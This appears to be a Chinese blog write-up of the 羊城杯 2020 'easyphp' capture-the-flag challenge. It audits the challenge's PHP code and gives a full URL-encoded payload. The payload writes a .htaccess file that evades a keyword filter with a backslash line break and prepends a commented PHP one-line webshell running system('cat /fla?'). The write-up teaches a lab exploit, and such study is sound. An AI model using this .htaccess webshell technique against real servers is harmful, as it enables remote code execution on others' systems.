[羊城杯 2020]easyphp

[羊城杯 2020]easyphp

打开靶机:

	<?php 
  $files = scandir('./'); 
  foreach($files as $file) { 
    if(is_file($file)){ 
      if ($file !== "index.php") { 
        unlink($file); 
      } 
    } 
  } 
  if(!isset($_GET['content']) || !isset($_GET['filename'])) { 
    highlight_file(__FILE__); 
    die(); 
  } 
  $content = $_GET['content']; 
  if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { 
    echo "Hacker"; 
    die(); 
  } 
  $filename = $_GET['filename']; 
  if(preg_match("/[^a-z\.]/", $filename) == 1) { 
    echo "Hacker"; 
    die(); 
  } 
  $files = scandir('./'); 
  foreach($files as $file) { 
    if(is_file($file)){ 
      if ($file !== "index.php") { 
        unlink($file); 
      } 
    } 
  } 
  file_put_contents($filename, $content . "\nHello, world"); 
?>

进行代码审计:

$files = scandir('./'); 
  foreach($files as $file) { 
    if(is_file($file)){ 
      if ($file !== "index.php") { 
        unlink($file); 
      } 
    } 
  } 

访问index.php的时候会把除了index.php的文件都删除。

 $content = $_GET['content']; 
  if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { 
    echo "Hacker"; 
    die(); 
  } 

这段代码对上传的内容进行了过滤

$filename = $_GET['filename']; 
  if(preg_match("/[^a-z\.]/", $filename) == 1) { 
    echo "Hacker"; 
    die(); 
  } 

对文件名进行了过滤,但是我们可以传一个.htaccess文件来写shell

解题:

虽然过滤了file,但是可以使用fil\e来绕过,并且通过#来写入shell

这是因为#在htaccess中是注释符的作用,但是在php执行的时候,一句话木马就会被执行

最后的\是为了与后面的Hello word进行拼接,不然会报错

payload:

?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

image-20230618171929311

posted @ 2023-06-18 19:27  Magic水瓶  阅读(558)  评论(0)    收藏  举报